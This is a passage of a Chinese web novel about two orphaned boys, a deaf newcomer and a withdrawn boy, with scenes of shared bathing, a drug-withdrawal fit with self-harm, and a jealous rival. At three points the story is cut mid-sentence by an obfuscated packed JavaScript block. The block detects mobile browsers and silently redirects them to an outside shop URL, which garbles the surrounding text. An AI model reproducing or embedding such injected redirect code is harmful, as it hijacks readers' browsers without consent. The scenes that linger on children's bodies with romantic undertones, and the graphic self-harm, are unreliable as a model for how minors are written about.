于南说:“我也不知道,没接触过什么书,只看过几本教材,都是些没有感情调调的书面语,看的时候也就是想懂里面的知识点,没什么特别的感觉。” 迟雾说:“图书馆里教材也很多,都是从周边学校淘汰下来的,还有些书是那些个有钱人为了声名捐进来的,但大部分都是心理学相关的或童话故事读本,你可以看心理学的书。” 于南说:“心理学?” 于南确实对心理学比较感兴趣,没有什么比能够看穿其他人的内心更具有吸引力了。但他过去和心理学之间唯一的接触,就是隔壁住的那个疯子总是叫嚷着让别人给他心理疏导。 迟雾走到床边,从被子底下抽出一本崭新的心理书,应当是没翻开过几次,书封侧边的褶皱都不大明显,还带着股新书特有的油墨味。 他捞书的时候露出一小截腰,于南就那么盯着他的腰看,发现他的腰窝很窄很浅,就像被人拔掉尾巴后留下的小坑。 迟雾边将书抽出来,边说:“这本你拿去看吧。” 他转过身子正对着于南,遮挡住他盯着腰窝的视线。于南这才后知后觉地抬眼看向他,接过那本递过来的书,问:“你也对心理学的东西感兴趣吗?” 迟雾捕捉到“也”这个字眼,就知道于南是喜欢的。 迟雾说:“没有,是院长专门给我送来的,她让我学着了解自己。” 于南笑了下,问:“那你现在了解自己了吗?” “我一直都很了解自己。”迟雾直白地说:“我没有自我认知障碍,不需要借用心理学来分析自己。” “是吗。”于南顺势问:“那你眼中的自己是个什么样的人?” 迟雾看着他,发现他在同自己说话的时候总是抬着眼睛直勾勾地看着他,却在等待他的回答时又将眸子垂下,而视线重新停落的位置—— 好像是他的嘴巴。 于南好像很喜欢盯着别人的嘴巴看。 就像有些人挑选领养的孩子会先看眉眼一样。 迟雾条件反射般舔了下嘴唇。 嘴唇很干。 应该也不好看。 迟雾稍微偏过脸,想尽量遮挡住自己不漂亮的部位,他嚅嗫着嘴唇,说:“被人抛弃的孩子。” 他眼中的自己,就只需要这么简单的描述就可以概括。 太贫瘠了。 于南有些看不大清他的口型,虽然能大致猜出来是什么内容,但还是伸出手抓了下迟雾的衣角,一点点攥紧,向下拽了拽,“迟雾,能不能看着我。” 他们以后应该要在一起生活很长一段时间。 需要协调好彼此之间的相处方式才对。 见迟雾没有动作。 于南又重复了遍:“迟雾,看着我。” 若说前一句还是温和的询问,后一句便成了不容置喙的陈述。 迟雾也下意识地遵循命令。 于南这才满意地笑了笑,他低声说:“迟雾,我是个聋子,你不看着我说话,我看不见你的嘴巴,我连你说什么都不知道,这样很……..可怜的。” 迟雾沉默数秒,顺着他抓自己衣摆的力道坐到床边,扭着身子正对着他,两人之间的距离也无限拉近。 这种相对的姿态,能避免于南盯着他嘴唇看时仰头的疲乏。 太贴心了。 于南说自己可怜。 他真就可怜他了。 迟雾还刻意放慢语速,“好,知道了。” 于南眨了下眼,反而因为这种直白的善意而再次垂下眼,他看着自己抓着人衣角的手,指尖稍微泛着白,像泡在福尔马林里的尸体。 于南刚要开口说些什么,就被迟雾双手扳住下巴。 迟雾控制着他抬起脸看着自己。 于南的视线成了被鱼钩挂住的鱼,沿着条直线撞进迟雾的小桶里。 迟雾确定他的视线差不多在自己嘴唇上,才慢慢开口说:“进到安丁园一个月后,院长会送你去上学,她会为你配助听器的,她很喜欢你。” 停顿两秒,感觉于南接收完毕上句话,他才接着说:“不要和那群蠢孩子玩,他们只知道王子和公主,和你说话的时候也不会一直看着你说,不要主动告诉他们你的耳朵不好,他们会把你当成童话里的巫师,如果被欺负,就用虫子吓唬他们。” 于南觉得,迟雾不是把他当聋子来看,是把他当容易被欺负的软骨头来看。 迟雾放下捧着他脸的手掌,扭头看向墙上的钟表,又看看门口,就发现那群聚堆的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199155|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子已经出去了。 他们应当是又出去玩了,要不就是一起到院长的房间门口讨论些有的没的,企图向院长打探些下次来领养孩子的人的信息。 迟雾想起什么,站起身朝外走。 于南看着他走出去,过了会儿又回来,手里却多了几本书。 全都是心理学相关的书。 迟雾抱着这些书稍显费力。 他将书摞放到于南的枕边。 然后又走近。 “看完之后把书放到我的床上,不然他们会在上面胡乱涂画,来练习所谓的城堡地图构画。” “还有——” 迟雾声音不自觉放低,几不可闻,“这儿的孩子洗澡都是两个两个一起洗,因为浴室里刚好有两个淋浴头,你的床位是02号,我是01号,而且我们都是男生,不出意外的话,你要和我一起洗澡,大家两天一洗,今晚就要洗澡了。” “我刚才看他们已经有洗完澡出来的了,很快就要到我们了。” 一起洗澡。 于南从来没和一个差不多年龄的孩子赤.裸相对过,更何况还是刚认识不久的这么一个人。 于南问:“之前你也是跟别人一起洗吗。” 迟雾说:“很小的时候会被大孩子照看着一起洗,后来长大点儿,照看我的都被领养走了,新来的孩子没有愿意和我一起的,02号床也一直空着。” 顿了顿,迟雾问:“你不想和我一起洗吗。” “……..” “叩叩——” 院长推开门,笑着说:“迟雾、于南,到你们洗澡了,洗完之后就要讲故事睡觉咯,动作要速度一些哦。” 于南顺势站起身,在同迟雾擦肩而过时,他才轻声说:“没有,只不过我的身体很丑,希望你不要嫌弃。” 迟雾后知后觉地跟上。 院长看着两人还算友好的相处,笑了笑,眼尾的皱纹也被堆挤得明显了些。待于南走到她身边时,她朝着走廊尽头的方向指了指,说:“浴室就在那儿,让迟雾为你带路吧。” 停顿一秒,她又笑着补充了句:“迟雾是个很好的孩子,记得要和他友好相处哦。” 于南的脚步稍作停顿,轻声说:“好的,院长。” 院长笑了笑,“这个就不要学迟雾了,记得叫我妈妈安。” 于南想了想,又说:“知道了,院长。” 院长不置可否地挑了下眉梢,又压下眉,扭头去看后头跟上来的迟雾。 只见迟雾正紧盯着她,像是在防备什么居心叵测的怪兽。 院长早已习惯,回之温和一笑,嘱咐道:“迟雾,要照顾好新来的花朵哦。”她盯着迟雾胸口的玫瑰花,如此意味深长。 迟雾淡淡地看了她眼,抓着于南的手腕走了。 院长靠着木门,视线遥遥地追随着那两人的身影,她微笑着将双手在胸前合十。 “愿我的孩子,幸福、平安。” 片刻后。 她又走进空旷的房间,不知从哪变出朵更加鲜艳绮丽的玫瑰花来,放到于南的床头。 “你也是。”她轻声说。 41. 第 41 章 浴室里铺满白色瓷砖,弥漫着雾气,瓷墙上安装了两个不高不低的金属淋浴头,浴室中央还摆放着个宽大的木质浴桶。 估摸着,里面刚好能同时泡进去两个小孩儿。 门口的塑料桶里放置着两套干净的睡衣,分明挂着“迟雾”和“于南”两个名字。旁边稍靠墙角的位置还有个空的塑料桶,应该是用来放脏衣服的。 迟雾松开了抓着于南的手,走到空塑料桶前,一手将衣摆捞起来分毫,露出截细腰,热气瞬间沾到那小片皮肤时,动作却又陡然停顿,他扭头看向于南,发现于南正眼睛眨也不眨地盯着他看。 迟雾稍微转过身子,背对着他,才将衣服彻底脱下来。但却还是不够坦荡,下意识地弓着腰,仿佛这样就能自动缩减皮肤裸.露的面积。 之前和稍大的孩子一起洗澡的时候还处于一种不知羞的年纪,对“坦诚相对”的接受程度就像是接受天上飘过一朵白云一样,没什么感觉。但现在缓慢地在于南面前脱下衣物,迟雾感觉有一条看不见的蛇在他身上缓慢爬行,湿滑的鳞片刮起一片鸡皮疙瘩,刮得他心脏也缓慢地跳。 时间被拖沓得冗长。 迟雾沉默地解开裤腰上的扣子,再拉开拉链。 就在他要接着往下脱的时候,听见身后一阵由远及近的窸窣声。 是脱衣服声。 于南在边朝他走边脱衣服。 迟雾尽量控制着自己的视线,让它只聚焦在墙上的砖缝里,但余光却不受自主意识控制地关注着地面那双已然靠近的、赤.裸的脚。 脚背被热气烘得有些泛红。 于南比他先把衣物都褪干净,直接扔进了塑料桶里。 “害羞了吗。”于南轻声说。 他却不给迟雾反应的时间,话扔出去,直接就走到一个淋浴头下,打开流水,整个身体站进喷洒的水流中,很快身体就被全部浸湿。 水流声也敲击着迟雾的脑袋。 迟雾加快了速度,而后尽量目不斜视地从于南身后走过去,走到另一个淋浴头下。 但他还是看见了。 于南的身体,好白。 迟雾快速将身体打湿,将头发和身上都打满泡沫,用自欺欺人的方式来给自己做遮挡。 “迟雾,能把沐浴露递给我吗。” 沐浴露就在两人中央的小柜上放着,但于南是先打的洗发膏,应当是泡沫进了眼睛,有些睁不开眼,手在上面摸了摸也没摸着沐浴露,反倒还将小柜弄得吱呀吱呀得响。 于南的声音不高,甚至被水声盖住大部分,但迟雾还是第一时间捕捉到了。 迟雾朝他快速地瞥了眼。 透过小柜隔栏板,于南的身体被隔板遮拦住一部分,分隔成几段,可迟雾的脑袋就像是最好的缝纫机,自动将数个片段缝补到一起。 白皙,泛红,腹部还有几块没恢复好的淤青透着紫,他肩膀的部位还有两条浅浅的疤痕,应当是刚褪去结痂,过段时间才能彻底消失。 迟雾盯着他腹部淤青,手却不停顿地快速拿起沐浴露递给于南。 于南的手往旁边摸了摸,很轻易就撞上他凑近的手。 于南顺着他的手指往上摸,一点一点,温吞地拿住沐浴露。 “谢谢。”他小声说。 迟雾收回手,确认于南暂时不会睁开眼后,他反倒坦荡了起来,背挺直了些,开始默不作声地盯着于南的动作看。 于南擦沐浴露擦到腹部的时候动作很轻。 应该很疼。 迟雾想。 在于南用泡沫抹满整个身体时,迟雾条件反射地伸手准备去接沐浴露。但于南却迟迟没把沐浴露放回去,反而是再次站到水流中,开始冲洗身上的泡沫,而随着泡沫被冲掉,他紧闭的眼睛也缓慢地掀开条缝。 迟雾迅速别开脸,再次盯着砖缝。 可他的动作还是被于南察觉到了。 于南在余光里看见他红透的耳根,无声地笑了下。 洗完澡。 两人身上穿着一样款式的睡衣,头发湿漉漉的。 于南走到隔壁房间去吹头发,迟雾却顺着走廊不知道去哪了。 等于南吹好头发,他终于拿着瓶未开封的红花油回来了。 红棕色的瓶子被放到桌上。 迟雾说:“涂上能好的更快。” 于南拿起红花油,“你都看见了?” 这句话在这种情景下,迟雾不自觉多想。 像是不仅仅指“我身上的伤你都看见了”,还指“我身体的每个角落你都看见了”。 迟雾想解释,但于南却只低着头看那瓶朴实无华的红花油,跟本不看他一眼。 迟雾张张嘴,又闭上。 他干脆走到吹风机前,快速吹好头发。 狂啸的风声堵着耳朵。 迟雾的心也跟着变得乱糟糟的。 淤青,伤痕。 头发只吹了半干,迟雾就关了吹风机,他一转身,却发现于南还在门口站着,垂眼盯着地板缝发呆,像是在等他。 迟雾走过去,一手抓住他的手腕,往外牵。 直接用行动告诉他,走吧。 却在走出几步后,感觉自己的手被人往下压扣了下,迟雾下意识地松了松力道,却被另一抹力道快速地趁虚而入。 于南牵住了他的手。 天花板上的吊灯光亮将两人的影子无限拉长,铺在棕色地板上。 他们手牵手往前走的姿势,就像是那些个童话故事里的插画,王子公主牵手私奔。 但可惜他们不是私奔,是要回到窄床上听那些个磨得人耳朵起茧子的童话。 房间里的孩子都已经躺好。 院长坐在一张木质矮椅上,在房间中央扭头看着他们走进来,笑着催促了声:“快躺好吧,已经到时间了,大家都在等你们。” 在进门前,迟雾松开了拉着于南的手,又快走了两步拉开两人之间的距离,脸上没什么表情,在昏光下显得格外冷漠。 有孩子对于南表示同情,小声说:“于南,我们明天就帮你搬床,给你换个床号,你就不用跟在他后面紧赶慢赶了。” 他又注意到于南手上拿着的红花油,特夸张地大喊了声:“妈妈安,于南好像受伤了,迟雾打他!” 迟雾已经上了床,不知道从哪拿出来两个耳塞塞进耳朵里,从一旁的书堆里抽出本书,翻到上次停住的书页,继续看着里面生涩难懂的公式,连个眼神都没给那个孩子。 院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199156|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长转眸看向于南。 于南平静地说:“是之前留下的伤,迟雾好心给我拿了红花油。” 院长微笑了下,又看向那个孩子。 那孩子却全然不信,只往被褥里缩了缩脑袋,才讷讷地说道:“迟雾肯定提前威胁他了。” 却没人再理会他的胡搅蛮缠。 于南走回自己的床边。 院长翻开童话书,声音温和得如同绸缎,娓娓道来今天挑选的这则童话。 这声音也让人昏昏欲睡。 过了一会儿。 迟雾感觉到有人碰了碰自己的胳膊。 他扭头看过去。 于南冲他扬了扬红花油的瓶子,无声地说:“能帮我涂吗,我怕疼,自己不敢动手。” 他为了能碰到迟雾,整个人都压着床沿的位置,好像下一秒就要从床上掉下去。 院长讲完了童话,不动声色地朝两人所在的角落瞥了一眼,便站起身,温声说:“晚安孩子们,好梦。” 她将灯关上,只在门口留了盏昏黄的小夜灯。 门被关上,此起彼伏的呼吸声在房间里交织。 离迟雾最近的一道呼吸是属于于南的。 他干脆蹲到于南的床边,借着窗户外挤进来的一点月光,小心地拧开红花油,用手指沾了些许。 刺鼻的味道迅速侵占空间。 于南撩起衣摆,露出小腹。 迟雾的手指小心翼翼地压上去。 “疼吗?” 屋子里实在太暗,他不确定于南能不能看清自己的口型。 等了两秒,没答复。 迟雾缓慢地移动手指,液体的存在让指腹的挪动格外容易,湿漉漉的感觉随着药液被涂抹到于南的身上而逐渐减轻。 于南的呼吸很慢,像是刻意屏着呼吸。 迟雾觉得他在疼。 迟雾尽量放轻力度、加快速度。 但就在他觉得快收尾的时候,于南却倏地抓住了他的手,阻止着他进一步涂药。 迟雾只当还是弄疼他了,乖顺地被他抓着,默不作声。 于南却慢吞吞地说:“迟雾,抹得太多了……” “……..红花油淌到裤腰上了。” 顿了顿。 他又问:“有纸吗。” 但他却没松开抓着迟雾的手,甚至牵引着他的手指背往自己裤腰上湿了的部位蹭了蹭。 这套睡衣布料很薄,裤腰沾上红花油,也就代表着它会迅速扩散,然后氤氲出不合时宜的一大片。 这股刺鼻的味道会扎根在布料里,熏上一整夜。 迟雾用另一只手往自己床上摸,摸出来个纸抽,匆匆忙忙地从里面抽出几张纸去擦于南的裤子,又找补似得说:“是我没注意,一会儿我再去给你找套睡衣吧,重新换一身。” 于南能感觉到他说话时的气息撒在自己的手臂上,知道他正在说着什么。于南伸出另一只手往迟雾的脸上摸。 迟雾猝不及防地被他摸个正着。 于南的指腹在他嘴唇上缓慢摩挲。 “你现在说吧,我能摸出来。” 迟雾却怎么也说不出话了。 他觉得,自己一张嘴,就能咬住于南的手指。 42. 第 42 章 一直到躺到床上,感觉身边那张窄床上已经没了动静,迟雾还在回想于南的手指压在他嘴唇上的感觉。 于南的手和他这个人不一样,指腹有些粗粝的磨损感,就像是频繁抠指腹那层薄皮导致的。迟雾用大拇指轻轻摸着自己的食指指腹。 于南有很多烦恼吗。 所以才会有这种抠指腹制造痛感的习惯来排解压力。 也只有这种泄露情绪的小习惯才能让迟雾找见些于南还是个孩子的真实感。 他和所有进过孤儿院的孩子都不一样。 不哭不喊,对自己的过去闭口不谈,甚至处在这种环境里还有一种近乎诡异的平和感。 他接受地太彻底了。 窗外的月亮愈来愈沉。 迟雾就这么昏沉地陷入睡眠。 第二天他醒来时,于南那张床已经空了。 迟雾下意识地寻找他的踪影,却一点儿线索都没有。 才四点多,天刚蒙蒙亮。 房间里的其他孩子还没醒。 迟雾轻手轻脚地出了房间,怀里抱着本书。 走廊里空旷无人,顶灯已然熄灭,有些昏暗。 迟雾是在走廊拐角的玻璃窗前找到于南的。 于南正坐在窗台上,背侧靠着窗户,视线稍微往外瞥,隔着窗户用手逗弄着外头那两只土狗。 土狗一黑一黄,黑的那只蹲在地上冲着他不停摇尾巴,黄的那只能趴伏着,没什么反应,安静的过分,像是个脑子不会转轴的傻狗。 于南就逗弄了一会儿,应该是觉得没什么意思,就收回了手。他将身子转正,迟雾才发现,他的脸色有些不正常的白,额头上还布着层涔涔冷汗。 于南发现黑暗中站着个不知何时出现的人,一瞬表情有些冷下来,而后他看清了是迟雾,眉宇才舒展两分,但那神情还是不如先前自然,像是刻意维持得一种平和假象。 “你醒了。”他的声音有些嘶哑,吐字含糊且慢。 迟雾觉得自己像偷偷跟踪别人的坏小孩儿,他其实没想过要找于南,但好像出来就只为了干这件事儿。 他闻见股呛鼻的味道从于南身上传来,很淡,像是已经散了大部分。 是烟味。 迟雾这才发现,于南身上的衣服已经换回了自己穿来的那一套,裤脚上还沾着一片灰黑色的脏污,看着像是香灰。 迟雾想到什么,说:“你去院长的房间了。” 只有那儿才有香灰。 于南不咸不淡地“嗯”了一声,说:“找衣服。” 他从窗台上跳下来。 迟雾下意识伸手去接,却又动作一顿。 因为于南已经先一步站稳脚。 于南看见他缩回去的手,脸上没什么表情地盯了他两秒,像是一种无形的审视。 两人之间距离更近,味道也更明显。 迟雾分辨出来其中不对劲之处。 这不是院长烧香时产生的气味,更像是一种劣质旱烟味。 迟雾从不少来收养孩子的男人身上闻到过。 可现在从哪来的这股味道? 甚至染到了于南身上? 院长绝对不会抽烟。她那种人,只有在掌控感得到满足时才会有剧烈的情绪起伏,从来不会试图用烟酒来填平欲望。 孤儿院里更不会有人半夜闯进来。 这儿的安全防护格外严密,迟雾甚至觉得这儿最贵的东西就是那些监控、电网之类的东西,夜晚自动弹出,白日缩回暗角,要不是以前刚记事的时候院长总是喜欢对着他自言自语,他也不会知晓。 迟雾拒绝出去上学也是因为院长之前的话。 学校比起接受教育的场所,更像是一个与社会建立短暂联接的地方,这儿的孩子去了后,一旦成为了“优质品”,就像是孤儿院的活招牌,自然会有人慕名而来收养那些孩子,至于“劣质品”,自然也有人会挑选的。 她将孩子形容成商品,将自己放置在高高在上的掌控全局的位置上,用慈悲的口吻说着无情的话。 迟雾不想成为商品。 他无所谓能不能去到外面学东西,他完全沉浸在自己的小世界里,只打算等到看完图书馆里那些数学书之后就离开孤儿院。 至于之后的打算,就再说,反正他现在连这个世界是什么样都没真正看过,只知道所谓的童话世界。 但他希望于南能去学校。 因为只有那样院长才会给他配助听器。 有价值的人才值得她付出。 迟雾陡然发现,于南说话时那种味道反而愈发强烈。 于南说:“回去吧。” 他这声几乎低到了谷底,几不可闻,尾音却很明显地带着颤。 于南直接从迟雾身侧走过去,却在下一秒腿下一软,直接不受控制地往地上摔下去,迟雾眼疾手快地伸手接住他。 “于南!” 迟雾到底还是比他小很多,才刚到窜个子的年纪,被他全身重量一压,直接一起摔到了地上。 于南半个身体都压在他身上。 两人身体贴在一起,迟雾能更清楚地感觉到于南的身体在颤抖,以一种不规律的频率。 于南额头上的汗也尽数蹭到迟雾的衣服上,透过轻薄的布料,贴合着皮肤,冷得人直打哆嗦。 迟雾看见地上躺着从于南兜里掉落出来的东西。 一个铁质雕花打火机,一朵焚烧了一半还挂着灰的玫瑰花,还有一个只剩黄棉芯的廉价烟烟头。 一瞬,味道的来源明了。 这么一摔,摔得于南连最后一抹强撑着的倔强都碎了。他再也不顾忌体面,一只手似挠似抓地恶狠狠地在脖子上扎根。 颈侧的位置很快就被他抓起层皮,露出下面血红的肉。他的嘴唇也被他咬的血肉模糊。 是他亲爹给他下的那个药。 只消一口,就像扎根在身体里一样,发作时疼得他死去活来,大脑里迟缓攀沿的刺痛窒息感也让他更加难以忍受。 疼。 疼。 疼。 刚发作时是缓慢的冰冷感,让他在床上像个僵直的尸体一样感受着身体里蛰伏的痛楚逐渐苏醒,他似逃般跑到院长的房间里,找到了属于自己的衣物,从里面翻出临走时放进口袋里的唯一一根半截烟,然后偷出来把打火机。 可这味止疼药像就此失效,无论如何都压抑不住,他慌不择路,把床头那只玫瑰花也一并点燃,被焚烧成黑灰的花瓣被他塞进嘴里,好像只要有东西能烧穿他的身体,烧光疼痛就好了。 或许这方法真的有用,又或许只是因为他只喝了一口掺药的水,那疼痛在吞下一半玫瑰花后缓慢散去,而他却彻底虚脱无力,瘫坐在走廊。 而那只黑狗就用爪子抓挠着窗户,看完了全程。 所以才有了迟雾看见的那一幕逗狗。 于南伸手去找打火机和玫瑰花,他摁下打火机将玫瑰花点燃,甚至都等不及火彻底将玫瑰花焚烧,直接就要把带着火苗的花瓣往嘴里塞。 以前生病,病得惨了没有药,他也是这样依靠吞咽些什么来恢复知觉,有时候是土,有时候是香皂,只有这种冲压上来的反胃感才能逼退病症带来的疼痛麻木。 迟雾连忙伸手去拦他,却被他在手臂上挠出一片血痕,狰狞恐怖。迟雾眼疾手快地将玫瑰花抢过来,扔到一旁的铁质垃圾桶里。 火苗在其中彻底吞噬玫瑰花,而后熄灭最后一点光亮。 “于南。”迟雾几乎用硬挤的方式将自己塞到于南的怀里,双臂紧抱桎梏着他,压制着他进一步的自.残行为,哪怕于南根本听不见,他还是一遍遍尽量以平和清晰的声音叫:“于南,于南。” 迟雾没遇见过这种事,他也不知道于南到底怎么了,他只是能感觉到于南那根本无从压制的颤抖,像是人处在极度痛苦下的肌肉痉挛。 于南的意识已经被吞没,他才是那个抱住浮木的人,手狠力抓着迟雾的后背。 汗水将两个人都泡了个透。 迟雾任由他抓着自己,手一遍遍拍着于南的背,努力安抚着他。 良久。 于南的颤抖才逐渐停歇下来,可他的身体却依旧僵硬。熟悉的气息将他包裹着,是沐浴露的味道。 两个小孩在空旷的走廊里,瘫跪在地上相拥。 于南不知道自己是什么感觉。 他嘴里一片血腥味,耳旁似是有阵罕见的耳鸣响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199157|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他甚至恍惚间以为自己回到耳朵还好使的时候了。 迟雾拍着他的动作始终没停。 于南如同彻底被钉在那儿了,迟迟没有反应,只是随着耳鸣声逐渐消失,他的身体也缓慢地变得不再那么僵硬。 他彻底将脸埋在迟雾的颈窝里。 于南也曾经幻想过。 如果他和别的孩子一样有妈,他妈会不会在他身上处处作痛的时候这么抱着他、拍着他的背。 可十四年里。 他收获的只有对幻想的一次次撕裂。 窗外的黑狗在叫。 破晓的黎明光洒在两人的身上。 “……..于南。”迟雾稍微拉开些两人之间的距离,双手捧起于南的脸。现在这张漂亮的脸蛋上沾满了眼泪,眼眶也是一片红,嘴唇外还晕开一片血红,像是被人恶意画了个不伦不类的妆。 可依旧漂亮。 迟雾替他一点点擦掉眼泪和血。 于南却莫名陷入沉默,紧绷着脸。 他不习惯这种感觉,被人照顾、关怀。 迟雾什么都看见了。 看见他狰狞丑陋的样子,看见他真实的样子。 于南不喜欢这种不受控的走向,他想好的不过是和迟雾关系近些,他明显能看出迟雾才是对这座孤儿院、对那个院长知晓最多的孩子,他只是想套些消息,为了以后的生活做打算,更好趋利避害。 可现在,过头了。 迟雾将于南带去个小房间,里面放置着各种各样的药物,不过门是上锁的,他驾轻就熟地从兜里掏出个小棍子伸到门缝下,从里面勾出把钥匙,然后将门打开了。 他给于南找了止疼药,倒了温水,将一切都做的井井有条,好像他才是那个年纪稍大的孩子。 于南一直等着他的问话,等着他来刨根问底,但从始至终迟雾都没多说一句,成了个称职的哑巴,绝不多言。 也是这种贴心,反而让于南更加慌乱。 只要他问了,于南肯定会全盘托出,然后,这场闹剧也将画上句号,两人不约而同地将一切都忘掉,好像一切从没发生过,什么都没走偏,但他偏偏连这个自欺欺人的机会都不给于南。 之后几天也是如此。 半夜的时候迟雾总会醒来,查看于南的情况,而于南每每犯病惊醒的时候总能发现床头被人放了药和水。 药不奏效的时候,他疼痛难忍地出了房间,缩到走廊角落里,也总是很快就被迟雾找到。 迟雾替他揉着身上疼得特别厉害的地方,还给他藏了几块糖。 于南不喜欢吃糖,很腻。 真的很腻。 如果说趋利避害是人类本能,那么在某些情况下,人反而会为了避免日后无法摆脱的依赖感,违背本能,主动远离对他有利的那条轨道。 就像一只始终在垃圾桶里吃腐烂食物的狗,有一天突然被投喂了肉骨头,它会流口水、会大口吞食,但陌生的饱胀上头时,反而会想—— 肉骨头里是不是有毒。 它现在没死,或许是慢性毒。 以后也会致命的。 犯病的频率逐渐下降,夜晚也不再那么漫长。 于南开始规避和迟雾的近距离接触,表面看不出什么端倪,他只是做自己该做的事,看书、吃饭、和院长沟通上学的事,但他每一步好像都和迟雾的习惯有了时间空间的错差,就像是小孩的单方面冷战,幼稚却又自认高明地减少和对方的接触,实则只要对方再次踏入你圈揽的范围,你连避都不知道避。 迟雾自然发现了于南在躲他。 但他没什么反应。 他本来也没祈望于南能和他成为好朋友。 于南太好了。 至于哪好,迟雾说不出来,因为他也没养过鱼,只是偷偷的偷偷的、偶尔看看那只鱼,尽量给他换换水。 这种感觉很奇妙。 迟雾觉得和写公式差不多,一个个简单字符拼凑在一起,就能形成一个完美的结论。 但这天。 安丁园又开了朵花。 那个孩子叫温程安。 迟雾的鱼好像要游到那朵花身边了。 这种感觉,很糟糕。 43. 第 43 章 温程安的床在另一个房间,但每次迟雾回房间的时候,都会看见他坐在自己的床上,同于南说话。 吃饭的时候,他也总是自动搬过来个椅子,插在于南和迟雾中间,像只讨人嫌的癞皮狗。 迟雾吃了口煎蛋,就放下餐具,准备起身离开,但下一瞬,“啪!”得一声,彩带从他身后的小区域洒落,刚好将他笼罩在内。 他的头发上沾满碎彩带。 院长从门外推进来个小推车,上面摆放着个精致的大蛋糕,正中央用巧克力酱描绘出“迟雾生日快乐”的字样。 与此同时,餐厅广播也想起一阵欢快的生日快乐歌,院长边拍手应和着节奏,边笑着说:“生日快乐哦。” 迟雾看了眼墙上钟表显示的时间。 九月三日。 餐厅里的孩子瞬间雀跃欢呼起来。 “有蛋糕吃喽!!!” “分蛋糕!分蛋糕!!” 他们一窝蜂似得往小推车前拥,餐桌上没动几口的早餐瞬间被抛弃,哪怕搭配得再鲜艳美味,也不再让人有胃口。 院长将第一块蛋糕分给迟雾。 “生日蛋糕要吃完才能带来好运哦。”她笑眯眯地将迟雾重新按回座位,又扭头将手里另一块蛋糕递给于南,“你的。” 于南接过蛋糕,看了迟雾一眼。 迟雾和他对上视线。 于南轻声说:“生日快乐。” 他脸上带着温和的笑。 迟雾盯着他。 可于南却直接别开眼,没打算和他继续有什么眼神交流。 温程安的身子稍微前倾,直接用叉子去于南那块小蛋糕上刮蹭下来层奶油,他这个动作阻拦住迟雾的视线。 迟雾微不可见地蹙了蹙眉,看着他的背影就像是在看那些只会流鼻涕流口水的脏小孩,压抑不住的烦躁。 温程安却毫无自觉,他咬掉叉子上的奶油,又凑到于南耳旁小声说:“挺好吃的。” 听此,于南笑了下,视线略过蛋糕上让人无法忽视的缺口,直接伸手将蛋糕推到温程安面前,说:“那都给你吃吧。” 温程安问:“你不吃?” 于南“嗯”了声,说:“我不喜欢吃甜的。” 温程安的动作一顿,片刻后又用叉子扎下来坨奶油放进嘴里,说:“是吗,那你过生日吃什么?” 于南笑着反问一句:“你要给我过生日吗?我不是和你说过吗,我喜欢吃面。” 耳旁“吱嘎”一声。 椅腿拖蹭地面的尖锐响。 迟雾到底没吃那块蛋糕,直接走了。 他的身影在于南的余光里彻底消失。 温程安说:“喜欢吃面?你什么时候和我说过?”他脸上没什么表情,但稍抬的眉头也能明显透露出错愕的意味。 于南语气平平地说:“是吗,那是我记错了。” 温程安没接着纠结这个,而是问:“你生日是什么时候?” 小孩儿的脑袋里,知晓更多关于对方的信息也就代表着更进一步踏入对方的领域内,代表着逐渐建立成真正的友谊。 发问也成了他们最常用的社交方式。 于南吃完烤面包片也站起身,平静地留下句:“我不过生日。”然后就走了。 而留在座位上的温程安扭头看着他从孩子堆旁绕了条弯折的路走出去。 温程安盯着那群躁动的伸着手讨要蛋糕的孩子半晌,才收敛起脸上全部表情,转回身,他细慢地品味着盘子里的蛋糕,却像味同嚼蜡般食之无味,他吃完于南那块时,院长给他送来了属于他的那块。但他只是不咸不淡地扫了一眼,没动,直接就走了。 难吃。 腻得要死。 温程安出去后驾轻就熟地进到图书馆里,七拐八拐,在角落处的位置找到于南的身影,然后拉开凳子坐下,不紧不慢地观察着他。 院长已经给于南配好了助听器,但他一直没带,始终保持着听不见声音的状态。 温程安观察着他翻书的动作。 于南翻页很快。 比他前几天看书的速度都要快。 他没看进去。 温程安也挑了本和于南手里相同的心理书,翻到和他同样的页数,尽量保持着一样的速度翻看着。但显然他看起来要吃力得多,他对心理学方面不感兴趣,以前他妈还在他身边的时候,教他更多的也都是那些学校里需要的科目,没什么培养他课余爱好的打算。 他时刻用余光观察着于南的动作,甚至还刻意模仿他的坐姿、神态,就像是故意把一个罩子扣在自己身上,让属于自己的藤蔓朝着与别人相同的形态生长。 这种趋向是无法忽视的,他的一切都显得太刻意。于南注意到他,却没什么反应,只是继续看着手里的书。 